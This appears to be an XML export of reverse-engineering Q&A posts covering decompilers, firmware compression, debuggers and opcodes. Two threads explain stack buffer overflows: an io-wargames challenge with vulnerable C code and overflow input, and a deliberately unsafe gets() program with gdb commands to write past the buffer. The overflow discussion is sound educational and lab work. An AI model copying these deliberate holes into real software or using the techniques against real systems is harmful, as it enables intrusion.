  <row Id="2198" PostTypeId="2" ParentId="2197" CreationDate="2013-06-07T21:47:31.813" Score="5" Body="&lt;p&gt;Hex-Rays performs liveness analysis and dead code elimination, which in the case of your function, it sounds like it decided everything was dead.  I think it's impossible to tell Hex-Rays via __usercall that the return location for some function is in a flag location, so under that assumption, Hex-Rays can't help in this situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want is a tool that is capable of rendering the intermediate language translation for a given instruction or block of instructions.  To that extent, tools such as BitBlaze, BAP, and miasm can help.  Also see &lt;a href=&quot;http://edmcman.bitbucket.org/blog/2013/02/27/bap-for-everyone/&quot;&gt;this link&lt;/a&gt; for a language-agnostic interface to BAP.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-06-07T21:47:31.813" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2199" PostTypeId="2" ParentId="2196" CreationDate="2013-06-07T21:56:49.333" Score="6" Body="&lt;p&gt;&lt;code&gt;0x73687371&lt;/code&gt; is apparently a magic value used to indicate LZMA compression &lt;a href=&quot;http://sourceforge.net/p/squashfs/patches/20/&quot; rel=&quot;nofollow noreferrer&quot;&gt;by some vendors&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't test it since I don't have the image but here's a blog post with some description and source code links which is supposed to handle it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.poppopret.org/?p=204&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.poppopret.org/?p=204&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: after some struggle with the download site I was able to get the decrypted shsq binary. I could open it easily with &lt;strong&gt;7-Zip 9.21 beta&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JLqHa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumably any later versions will work too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the source code for handling SquashFS in &lt;a href=&quot;http://sourceforge.net/projects/sevenzip/files/7-Zip/9.22/7z922.tar.bz2/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;7z922.tar.bz2&lt;/a&gt;, file &lt;code&gt;CPP/7zip/Archive/SquashfsHandler.cpp&lt;/code&gt; so you can try to figure out why it works and what's wrong with other approaches.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2013-06-08T15:01:42.200" LastActivityDate="2013-06-08T15:01:42.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2200" PostTypeId="1" CreationDate="2013-06-08T06:29:56.123" Score="7" ViewCount="2406" Body="&lt;p&gt;I have a target that automatically runs after I load it in to Ollydbg. This form, doesn't stop at the entry point (but continues to execute and at a point it pauses, I have to press &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;f9&lt;/kbd&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to debug it ?&lt;/p&gt;&#xA;" OwnerUserId="2202" LastEditorUserId="53" LastEditDate="2013-06-08T12:28:24.863" LastActivityDate="2013-06-08T12:28:24.863" Title="Ollydbg target runs automatically" Tags="|debuggers|pe|ollydbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2201" PostTypeId="1" CreationDate="2013-06-08T09:31:28.300" Score="1" ViewCount="765" Body="&lt;p&gt;I wonder, whether there is a way to get a code coverage of a r0 code? PIN tool is designed for usermode, if i'm right. &#xA;Though i've seen on twitter somebody mentioned such a tool, that's why i'm sure it exists.&lt;/p&gt;&#xA;" OwnerUserId="1332" LastActivityDate="2013-06-08T19:37:43.473" Title="How do I get ring0 code coverage?" Tags="|kernel-mode|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2202" PostTypeId="2" ParentId="2200" CreationDate="2013-06-08T09:52:49.057" Score="5" Body="&lt;p&gt;set the radio button &lt;code&gt;system breakpoint&lt;/code&gt; in debugging options &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;alt+o -&amp;gt; events -&amp;gt; make first pause at -&amp;gt; system breakpoint&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then analyze if TLS Callbacks , DllInit Routines exist in the executable&#xA;these routines can alter the execution behavior &lt;/p&gt;&#xA;" OwnerUserId="1924" LastActivityDate="2013-06-08T09:52:49.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2203" PostTypeId="2" ParentId="2200" CreationDate="2013-06-08T09:56:36.583" Score="1" Body="&lt;p&gt;Well, I found this type of automatic run when a .NET target is loaded in Olly. If you are trying to debug a .NET target, consider Reflector instead of Olly.&lt;/p&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2013-06-08T09:56:36.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2204" PostTypeId="2" ParentId="2201" CreationDate="2013-06-08T15:21:47.103" Score="2" Body="&lt;p&gt;Assuming you're talking about Windows, the least invasive way would likely be to write an IDC script to statically generate a list of all basic block addresses, and write a WinDbg script that sets a one-shot logging breakpoint on each of those addresses. You can then run the WinDbg script and diff the breakpoint logs with the full basic block list to see which basic blocks were executed and which were not.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-06-08T15:21:47.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2206" PostTypeId="1" CreationDate="2013-06-08T19:35:47.993" Score="-5" ViewCount="1454" Body="&lt;p&gt;I want the exact binary opcodes executable to CPU directly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [BITS 16]      ; 16 bit code generation&#xA;[ORG 0x7C00]   ; Origin location&#xA;&#xA;; Main program&#xA;main:       ; Label for the start of the main program&#xA;&#xA; mov ax,0x0000  ; Setup the Data Segment register&#xA;        ; Location of data is DS:Offset&#xA; mov ds,ax  ; This can not be loaded directly it has to be in two steps.&#xA;        ; 'mov ds, 0x0000' will NOT work due to limitations on the CPU&#xA;&#xA; mov si, HelloWorld ; Load the string into position for the procedure.&#xA; call PutStr    ; Call/start the procedure&#xA;&#xA;jmp $       ; Never ending loop&#xA;&#xA;; Procedures&#xA;PutStr:     ; Procedure label/start&#xA; ; Set up the registers for the interrupt call&#xA; mov ah,0x0E    ; The function to display a chacter (teletype)&#xA; mov bh,0x00    ; Page number&#xA; mov bl,0x07    ; Normal text attribute&#xA;&#xA;.nextchar   ; Internal label (needed to loop round for the next character)&#xA; lodsb      ; I think of this as LOaD String Block &#xA;        ; (Not sure if thats the real meaning though)&#xA;        ; Loads [SI] into AL and increases SI by one&#xA; ; Check for end of string '0' &#xA; or al,al   ; Sets the zero flag if al = 0 &#xA;        ; (OR outputs 0's where there is a zero bit in the register)&#xA; jz .return ; If the zero flag has been set go to the end of the procedure.&#xA;        ; Zero flag gets set when an instruction returns 0 as the answer.&#xA; int 0x10   ; Run the BIOS video interrupt &#xA; jmp .nextchar  ; Loop back round tothe top&#xA;.return     ; Label at the end to jump to when complete&#xA; ret        ; Return to main program&#xA;&#xA;; Data&#xA;&#xA;HelloWorld db 'Hello World',13,10,0&#xA;&#xA;; End Matter&#xA;times 510-($-$$) db 0   ; Fill the rest with zeros&#xA;dw 0xAA55       ; Boot loader signature&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;opcodes for x86 Intel Architecture; must be 16-bit opcodes ONLY.&lt;/p&gt;&#xA;" OwnerUserId="2207" LastActivityDate="2013-06-10T13:27:48.443" Title="Can anyone here show me the binary opcodes for these x86 assembly instructions?" Tags="|machine-code|" AnswerCount="2" CommentCount="4" ClosedDate="2013-06-09T01:39:14.477" ContentLicense="CC BY-SA 3.0" />
  <row Id="2207" PostTypeId="2" ParentId="2201" CreationDate="2013-06-08T19:37:43.473" Score="7" Body="&lt;p&gt;If you just want a simple analysis such as code coverage or path coverage, consider using a dynamic emulation framework such as Bochs or QEMU.  This has the advantage over Jason's solution that it does not require the user to provide the addresses ahead of time (which is subject to undecidability, and placing a single breakpoint incorrectly can corrupt code or data and result in the system crashing), instead discovering such addresses dynamically as the target executes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tool you are referring to might be &lt;a href=&quot;http://j00ru.vexillium.org/?p=1695&quot;&gt;BochsPwn&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-06-08T19:37:43.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2208" PostTypeId="2" ParentId="2206" CreationDate="2013-06-08T19:56:58.477" Score="1" Body="&lt;pre&gt;&lt;code&gt;C:\&amp;gt;debug&#xA;-a&#xA;1448:0100 mov ax,0&#xA;1448:0103&#xA;-u 100 102&#xA;1448:0100 B80000        MOV     AX,0000&#xA;-q&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;C:&gt;echo opcode for mov ax,0000 is b80000 and so on&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**opcode for mov ax,0000 is b80000 and so on**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;C:&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@till&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tool &lt;code&gt;Debug.exe&lt;/code&gt;&lt;br&gt;&#xA;method &lt;code&gt;assembled and disassembled&lt;/code&gt; the mnemonic &lt;/p&gt;&#xA;&#xA;&lt;p&gt;@nomik&#xA;ollydbg will &lt;code&gt;not output 16 bit opcodes&lt;/code&gt; since it is &lt;code&gt;32bit debugger&lt;/code&gt; you wold need a 16 bit application that assembles and disassembles the mnemonic to output 16 bit opcodes like &#xA;&lt;code&gt;Debug.Exe(inbox),Td.exe(ex borland),grdb.exe(ladSoft),trw2000.exe (google site:tuts4you)&lt;/code&gt; etc&lt;/p&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="1924" LastEditDate="2013-06-10T07:07:45.690" LastActivityDate="2013-06-10T07:07:45.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2209" PostTypeId="1" AcceptedAnswerId="2211" CreationDate="2013-06-08T16:43:26.337" Score="10" ViewCount="4655" Body="&lt;p&gt;I am working on &lt;a href=&quot;http://io.smashthestack.org:84/&quot; rel=&quot;noreferrer&quot;&gt;io-wargames&lt;/a&gt; for fun right now, level3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do understand why there is a stack-overflow in this code &lt;code&gt;(strlen(argv[1])&lt;/code&gt;), but what I don't understand is why it overflows the function pointer &lt;code&gt;functionpointer&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;functionpointer&lt;/code&gt; is declared before &lt;code&gt;char buffer[50];&lt;/code&gt; on the stack so How comes it overwrites it ??? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the main vulnerable code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(int argc, char **argv, char **envp)&#xA;{&#xA;        void (*functionpointer)(void) = bad;&#xA;        char buffer[50];&#xA;&#xA;        if(argc != 2 || strlen(argv[1]) &amp;lt; 4)&#xA;                return 0;&#xA;&#xA;        memcpy(buffer, argv[1], strlen(argv[1]));&#xA;        memset(buffer, 0, strlen(argv[1]) - 4);&#xA;&#xA;        printf(&quot;This is exciting we're going to %p\n&quot;, functionpointer);&#xA;        functionpointer();&#xA;&#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the shell exploits the stackoverflow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;level3@io:~$ /levels/level03 11111111&#xA;This is exciting we're going to 0x80484a4&#xA;I'm so sorry, you're at 0x80484a4 and you want to be at 0x8048474&#xA;level3@io:~$ /levels/level03 111111111111111111111111111111111111111111111111111111111111111111111111111111111&#xA;This is exciting we're going to 0x31313100&#xA;Segmentation fault&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;code&gt;objump -d&lt;/code&gt; of the executable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;080484c8 &amp;lt;main&amp;gt;:&#xA; 80484c8:       55                      push   %ebp&#xA; 80484c9:       89 e5                   mov    %esp,%ebp&#xA; 80484cb:       83 ec 78                sub    $0x78,%esp&#xA; 80484ce:       83 e4 f0                and    $0xfffffff0,%esp&#xA; 80484d1:       b8 00 00 00 00          mov    $0x0,%eax&#xA; 80484d6:       29 c4                   sub    %eax,%esp&#xA; 80484d8:       c7 45 f4 a4 84 04 08    movl   $0x80484a4,-0xc(%ebp)&#xA; 80484df:       83 7d 08 02             cmpl   $0x2,0x8(%ebp)&#xA; 80484e3:       75 17                   jne    80484fc &amp;lt;main+0x34&amp;gt;&#xA; 80484e5:       8b 45 0c                mov    0xc(%ebp),%eax&#xA; 80484e8:       83 c0 04                add    $0x4,%eax&#xA; 80484eb:       8b 00                   mov    (%eax),%eax&#xA; 80484ed:       89 04 24                mov    %eax,(%esp)&#xA; 80484f0:       e8 a7 fe ff ff          call   804839c &amp;lt;strlen@plt&amp;gt;&#xA; 80484f5:       83 f8 03                cmp    $0x3,%eax&#xA; 80484f8:       76 02                   jbe    80484fc &amp;lt;main+0x34&amp;gt;&#xA; 80484fa:       eb 09                   jmp    8048505 &amp;lt;main+0x3d&amp;gt;&#xA; 80484fc:       c7 45 a4 00 00 00 00    movl   $0x0,-0x5c(%ebp)&#xA; 8048503:       eb 74                   jmp    8048579 &amp;lt;main+0xb1&amp;gt;&#xA; 8048505:       8b 45 0c                mov    0xc(%ebp),%eax&#xA; 8048508:       83 c0 04                add    $0x4,%eax&#xA; 804850b:       8b 00                   mov    (%eax),%eax&#xA; 804850d:       89 04 24                mov    %eax,(%esp)&#xA; 8048510:       e8 87 fe ff ff          call   804839c &amp;lt;strlen@plt&amp;gt;&#xA; 8048515:       89 44 24 08             mov    %eax,0x8(%esp)&#xA; 8048519:       8b 45 0c                mov    0xc(%ebp),%eax&#xA; 804851c:       83 c0 04                add    $0x4,%eax&#xA; 804851f:       8b 00                   mov    (%eax),%eax&#xA; 8048521:       89 44 24 04             mov    %eax,0x4(%esp)&#xA; 8048525:       8d 45 a8                lea    -0x58(%ebp),%eax&#xA; 8048528:       89 04 24                mov    %eax,(%esp)&#xA; 804852b:       e8 5c fe ff ff          call   804838c &amp;lt;memcpy@plt&amp;gt;&#xA; 8048530:       8b 45 0c                mov    0xc(%ebp),%eax&#xA; 8048533:       83 c0 04                add    $0x4,%eax&#xA; 8048536:       8b 00                   mov    (%eax),%eax&#xA; 8048538:       89 04 24                mov    %eax,(%esp)&#xA; 804853b:       e8 5c fe ff ff          call   804839c &amp;lt;strlen@plt&amp;gt;&#xA; 8048540:       83 e8 04                sub    $0x4,%eax&#xA; 8048543:       89 44 24 08             mov    %eax,0x8(%esp)&#xA; 8048547:       c7 44 24 04 00 00 00    movl   $0x0,0x4(%esp)&#xA; 804854e:       00 &#xA; 804854f:       8d 45 a8                lea    -0x58(%ebp),%eax&#xA; 8048552:       89 04 24                mov    %eax,(%esp)&#xA; 8048555:       e8 02 fe ff ff          call   804835c &amp;lt;memset@plt&amp;gt;&#xA; 804855a:       8b 45 f4                mov    -0xc(%ebp),%eax&#xA; 804855d:       89 44 24 04             mov    %eax,0x4(%esp)&#xA; 8048561:       c7 04 24 c0 86 04 08    movl   $0x80486c0,(%esp)&#xA; 8048568:       e8 3f fe ff ff          call   80483ac &amp;lt;printf@plt&amp;gt;&#xA; 804856d:       8b 45 f4                mov    -0xc(%ebp),%eax&#xA; 8048570:       ff d0                   call   *%eax&#xA; 8048572:       c7 45 a4 00 00 00 00    movl   $0x0,-0x5c(%ebp)&#xA; 8048579:       8b 45 a4                mov    -0x5c(%ebp),%eax&#xA; 804857c:       c9                      leave  &#xA; 804857d:       c3                      ret    &#xA; 804857e:       90                      nop&#xA; 804857f:       90                      nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I see that the complier reserved in the main's prolog function frame &lt;code&gt;0x78&lt;/code&gt; bytes for the local main function variables. &lt;/p&gt;&#xA;" OwnerUserId="1868" OwnerDisplayName="0x90" LastEditorUserId="1868" LastEditDate="2013-06-09T21:32:25.457" LastActivityDate="2013-06-10T11:48:51.687" Title="Why does the function pointer get overwritten even though is declared before the vulnerable buffer?" Tags="|c|linux|assembly|x86|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2210" PostTypeId="2" ParentId="2209" CreationDate="2013-06-08T16:47:39.477" Score="11" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;functionpointer is declared before char buffer[50]; on the stack so How comes it overwrites it ???&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The order of objects in the stack is implementation defined. C does not mention any stack and the direction of the stack growing is also implementation-defined (usually it grows downwards but in some systems it grows upwards).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case &lt;code&gt;functionpointer&lt;/code&gt; is probably put first and then &lt;code&gt;buffer&lt;/code&gt;. As in your system the stack grows downards, this allow you to overwrite &lt;code&gt;functionpointer&lt;/code&gt; when overflowing &lt;code&gt;buffer&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2210" OwnerDisplayName="ouah" LastActivityDate="2013-06-08T16:47:39.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2211" PostTypeId="2" ParentId="2209" CreationDate="2013-06-08T21:42:14.757" Score="8" Body="&lt;p&gt;The compiler did put the function pointer after the buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the disassembly, check the &lt;code&gt;memcpy&lt;/code&gt; call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8048525:  lea    -0x58(%ebp),%eax&#xA;8048528:  mov    %eax,(%esp)&#xA;804852b:  call   804838c &amp;lt;memcpy@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first argument to &lt;code&gt;memcpy&lt;/code&gt; (the buffer's address) is at &lt;code&gt;[esp+0]&lt;/code&gt; and you can see that the value of &lt;code&gt;ebp-0x58&lt;/code&gt; is being put there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next is the function call at the end of the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;804856d:  mov    -0xc(%ebp),%eax&#xA;8048570:  call   *%eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that the address being jumped to is loaded from &lt;code&gt;[ebp-0xc]&lt;/code&gt; which is 0x4c (76) bytes after the beginning of the character buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a stack layout from IDA which will hopefully make things clearer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-00000058 buffer          db 76 dup(?)&#xA;-0000000C functionpointer dd ?&#xA;-00000008 var_8           dd ?&#xA;-00000004 var_4           dd ?&#xA;+00000000  s              db 4 dup(?)&#xA;+00000004  r              db 4 dup(?)&#xA;+00000008 argc            dd ?&#xA;+0000000C argv            dd ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Offsets in the leftmost column are ebp-relative. Memory addresses increase downwards, so it's obvious that writing too much data into &lt;code&gt;buffer&lt;/code&gt; will overwrite the function pointer (and then the return address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MSVC actually uses a mitigation against such attack - it &lt;a href=&quot;http://msdn.microsoft.com/en-us/magazine/cc337897.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;reorders character buffers&lt;/a&gt; to be placed after all other variables:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vAW50.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2013-06-08T21:58:46.963" LastActivityDate="2013-06-08T21:58:46.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2212" PostTypeId="2" ParentId="2209" CreationDate="2013-06-08T23:55:30.390" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why does the function pointer get overwritten even though is declared before the vulnerable buffer?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the vulnerable code the order of declaration is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void (*functionpointer)(void) = bad;  &#xA;char buffer[50];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The assembly code shows us that the &lt;strong&gt;function pointer&lt;/strong&gt; variable is located at &lt;code&gt;ebp-0xc&lt;/code&gt; and the &lt;strong&gt;buffer&lt;/strong&gt; at &lt;code&gt;ebp-0x58&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This proves that the &lt;strong&gt;stack is growing downwards&lt;/strong&gt;(to lower addresses) in this system as the &lt;strong&gt;buffer&lt;/strong&gt; is placed at a lower address than the &lt;strong&gt;function pointer&lt;/strong&gt; variable.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another proof that the stack is growing downwards in this system is the below instruction which allocates the required space by substracting &lt;code&gt;esp&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;80484cb:       83 ec 78                sub    $0x78,%esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&#xA;Now &lt;code&gt;memcpy&lt;/code&gt; copies &lt;code&gt;num&lt;/code&gt; bytes starting from the byte located at &lt;code&gt;ebp-0x58&lt;/code&gt; and then it continues by incrementing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding &lt;code&gt;1&lt;/code&gt; to &lt;code&gt;ebp-0x58&lt;/code&gt; makes it &lt;code&gt;ebp-0x57&lt;/code&gt;, so if &lt;code&gt;num&lt;/code&gt; is long enough, &lt;code&gt;memcpy&lt;/code&gt; will overwrite the &lt;strong&gt;function pointer&lt;/strong&gt; located at &lt;code&gt;ebp-0xc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ebp&lt;/code&gt; holds an address, lets say &lt;code&gt;0x00400000&lt;/code&gt;, so &lt;code&gt;ebp-0x58&lt;/code&gt; is the address &lt;code&gt;0x003FFFA8&lt;/code&gt; incrementing from that address you will eventually reach &lt;code&gt;ebp-0xc(0x003FFFF4)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x003FFFA8     buffer&#xA;...&#xA;0x003FFFF4     function pointer&#xA;0x003FFFF8     &#xA;0x003FFFFC    &#xA;0x00400000     saved ebp&#xA;0x00400004     saved return address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="156" LastEditorUserId="156" LastEditDate="2013-06-10T11:48:51.687" LastActivityDate="2013-06-10T11:48:51.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2213" PostTypeId="2" ParentId="2206" CreationDate="2013-06-09T00:36:40.363" Score="1" Body="&lt;p&gt;An easy way, is to use &lt;a href=&quot;http://www.ollydbg.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyDbg&lt;/a&gt; to write the assembly instructions you want by editing an executable being debugged.The opcodes are shown between the address and the assembly instructions.&lt;/p&gt;&#xA;&lt;p&gt;I hope i understood the (god make it a) question (better called 'request').&lt;/p&gt;&#xA;" OwnerUserId="156" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-06-10T13:27:48.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2214" PostTypeId="2" ParentId="2155" CreationDate="2013-06-09T00:54:50.957" Score="3" Body="&lt;p&gt;&lt;strong&gt;No.&lt;/strong&gt;&lt;br/&gt;&#xA;&lt;strong&gt;Macros&lt;/strong&gt; are pieces of code that you have named.&lt;br/&gt;At &lt;strong&gt;compilation time&lt;/strong&gt; when the compiler encounters a &lt;strong&gt;macro&lt;/strong&gt; it just replaces it with the code behind it, then continues the &lt;strong&gt;compilation&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="156" LastEditorUserId="156" LastEditDate="2013-06-09T15:06:29.283" LastActivityDate="2013-06-09T15:06:29.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2215" PostTypeId="1" AcceptedAnswerId="2216" CreationDate="2013-06-09T01:47:19.077" Score="7" ViewCount="1972" Body="&lt;p&gt;I'm trying to understand very basic stack-based buffer overflow&#xA;I'm running Debian wheezy on a x86_64 Macbook Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following unsafe program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;CanNeverExecute()&#xA;{&#xA;        printf(&quot;I can never execute\n&quot;);&#xA;        exit(0);&#xA;}&#xA;&#xA;GetInput()&#xA;{&#xA;        char buffer[512];&#xA;&#xA;        gets(buffer);&#xA;        puts(buffer);&#xA;}&#xA;&#xA;main()&#xA;{&#xA;        GetInput();&#xA;&#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compiled with &lt;code&gt;-z execstack&lt;/code&gt; and &lt;code&gt;-fno-stack-protector&lt;/code&gt; for my tests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been able to launch the program through gdb, get the address of &lt;code&gt;CanNeverExecute&lt;/code&gt; function which is never called, and overflow the buffer to replace the return address by this address. I got printed &quot;I can never execute&quot;, which is, so far, so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm trying to exploit this buffer overflow by introducing shellcode in the stack. I'm currently trying directly into gdb: break in &lt;code&gt;GetInput&lt;/code&gt;function, set buffer value through gdb and jump to buffer adress with &lt;code&gt;jump&lt;/code&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have a problem when setting the buffer:&#xA;I have a breakpoint just after gets function, and I ran the programm with 512 &lt;code&gt;a&lt;/code&gt; characters as input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In gdb, I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) p buffer&#xA;$1 = 'a' &amp;lt;repeats 512 times&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The input was read without any problem, and my buffer is 512 &lt;code&gt;a&lt;/code&gt;&#xA;I then try to modify its value. If I do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) set var buffer=&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and try to print buffer, its length is now 511! How come??&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) p buffer&#xA;$2 = '\000' &amp;lt;repeats 511 times&amp;gt;et:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when I try to set it back to, for instance, 512 &lt;code&gt;a&lt;/code&gt;, I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Too many array elements&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can set it to 511 &lt;code&gt;a&lt;/code&gt; though, it is really that las byte that doesn't work... How come, is there a simple explanation?&lt;/p&gt;&#xA;" OwnerUserId="2211" LastActivityDate="2013-06-09T16:28:52.803" Title="GDB Error &quot;Too many array elements&quot;" Tags="|gdb|buffer-overflow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2216" PostTypeId="2" ParentId="2215" CreationDate="2013-06-09T09:25:47.447" Score="8" Body="&lt;p&gt;GDB protects you to overflow your char array. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) p &amp;amp;buffer&#xA;$25 = (char (*)[512]) 0x7fffffffdfe0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To bypass this security you can either write directly the memory :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) set 0x7fffffffe1e0=0x41414141&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or cast the array as a bigger one and then set your stuff :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set {char [513]}buffer=&quot;512xA&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2214" LastEditorUserId="2214" LastEditDate="2013-06-09T16:28:52.803" LastActivityDate="2013-06-09T16:28:52.803" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
